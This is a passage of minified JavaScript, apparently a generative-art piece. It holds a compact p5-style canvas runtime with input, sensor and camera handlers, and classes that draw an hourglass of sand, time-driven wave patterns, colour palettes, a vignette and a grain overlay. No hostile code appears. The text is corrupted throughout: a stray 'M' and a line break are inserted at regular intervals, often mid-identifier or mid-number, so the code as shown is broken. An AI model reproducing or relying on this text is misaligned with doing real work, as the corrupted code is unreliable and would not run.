and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
